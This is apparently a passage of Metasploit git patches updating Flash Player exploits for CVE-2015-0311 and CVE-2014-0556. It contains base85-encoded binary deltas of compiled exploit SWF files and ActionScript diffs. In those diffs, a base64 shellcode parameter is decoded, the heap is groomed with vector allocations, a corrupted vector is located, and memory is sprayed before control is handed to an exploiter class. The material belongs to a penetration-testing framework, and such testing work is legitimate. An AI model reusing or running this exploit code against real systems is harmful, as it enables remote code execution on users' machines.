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 Date: Tue, 26 May 2015 15:18:01 -0500 Subject: [PATCH 28/55] Update AS code --- .../source/exploits/CVE-2015-0311/Exploit.as | 33 +++++++++++++++---- .../exploits/CVE-2015-0311/Exploiter.as | 2 +- .../source/exploits/CVE-2015-0311/Logger.as | 18 ++++------ 3 files changed, 34 insertions(+), 19 deletions(-) diff --git a/external/source/exploits/CVE-2015-0311/Exploit.as b/external/source/exploits/CVE-2015-0311/Exploit.as index b414320df7..0e63483803 100644 --- a/external/source/exploits/CVE-2015-0311/Exploit.as +++ b/external/source/exploits/CVE-2015-0311/Exploit.as @@ -26,15 +26,20 @@ package private var b64:Base64Decoder = new Base64Decoder() private var payload:String private var platform:String + private var massage:Vector. = new Vector.(10000) public function Exploit() { platform = LoaderInfo(this.root.loaderInfo).parameters.pl - b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh) - payload = b64.toByteArray().toString(); + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh + var pattern:RegExp = / /g; + b64_payload = b64_payload.replace(pattern, "+") + b64.decode(b64_payload) + payload = b64.toByteArray().toString() - // defrag - for (var i:uint = 0; i < 10000; i++) new Vector.(0x3e0) + for (var i:uint = 0; i < massage.length / 2; i++) { + massage[i] = new Vector.(0x3e0) + } for (i = 0; i < 1000; i++) ba.writeUnsignedInt(data++) ba.compress() @@ -44,8 +49,10 @@ package try { ba.uncompress() } catch (e:Error) { } - uv = new Vector.(0x3e0) - uv[0] = 0 + + for (i = massage.length / 2; i < massage.length; i++) { + massage[i] = new Vector.(0x3e0) + } var test:uint = li32(0) if (test == 0x3e0) { @@ -54,6 +61,20 @@ package Logger.log('[*] Exploit - corruption fail: ' + test.toString(16)) return // something failed } + + + for (i = 0; i < massage.length; i++) { + if (massage[i].length == 0x3e0) { + massage[i] = null + } else { + Logger.log('[*] Exploit - corrupted vector found at ' + i) + uv = massage[i] + uv[0] = 0 + } + } + + if (uv.length != 0xffffffff) + return exploiter = new Exploiter(this, platform, payload, uv) } diff --git a/external/source/exploits/CVE-2015-0311/Exploiter.as b/external/source/exploits/CVE-2015-0311/Exploiter.as index 3203ad77a9..99b41d1f8a 100644 --- a/external/source/exploits/CVE-2015-0311/Exploiter.as +++ b/external/source/exploits/CVE-2015-0311/Exploiter.as @@ -23,7 +23,7 @@ package private var payload_address:uint private var stack:Vector. = new Vector.(0x6400) private var payload_space:Vector. = new Vector.(0x6400) - private var spray:Vector. = new Vector.(51200) + private var spray:Vector. = new Vector.(80000) public function Exploiter(exp:Exploit, pl:String, p: String, uv:Vector.):void { diff --git a/external/source/exploits/CVE-2015-0311/Logger.as b/external/source/exploits/CVE-2015-0311/Logger.as index 2d571c10ee..16c0447973 100644 --- a/external/source/exploits/CVE-2015-0311/Logger.as +++ b/external/source/exploits/CVE-2015-0311/Logger.as @@ -7,13 +7,10 @@ package public static function alert(msg:String):void { - if (DEBUG == 0) - return - var str:String = ""; - str += msg; - - trace(str); + + if (DEBUG == 1) + str += msg; if(ExternalInterface.available){ ExternalInterface.call("alert", str); @@ -22,13 +19,10 @@ package public static function log(msg:String):void { - if (DEBUG == 0) - return - var str:String = ""; - str += msg; - - trace(str); + + if (DEBUG == 1) + str += msg; if(ExternalInterface.available){ ExternalInterface.call("console.log", str); From 1742876757f9ce5ea02faae9914616acd3561ead Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 26 May 2015 15:30:39 -0500 Subject: [PATCH 29/55] Fix CVE-2014-0556 --- data/exploits/CVE-2014-0556/msf.swf | Bin 17750 -> 17720 bytes .../source/exploits/CVE-2014-0556/Main.as | 8 ++++++-- 2 files changed, 6 insertions(+), 2 deletions(-) mode change 100755 => 100644 data/exploits/CVE-2014-0556/msf.swf diff --git a/data/exploits/CVE-2014-0556/msf.swf b/data/exploits/CVE-2014-0556/msf.swf old mode 100755 new mode 100644 index 24cfc1a53a7059bf76a4ac9d555d0657792e63a7..f6483bd08741f6e2d275d8e95e7cce77be244500 GIT binary patch delta 17576 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 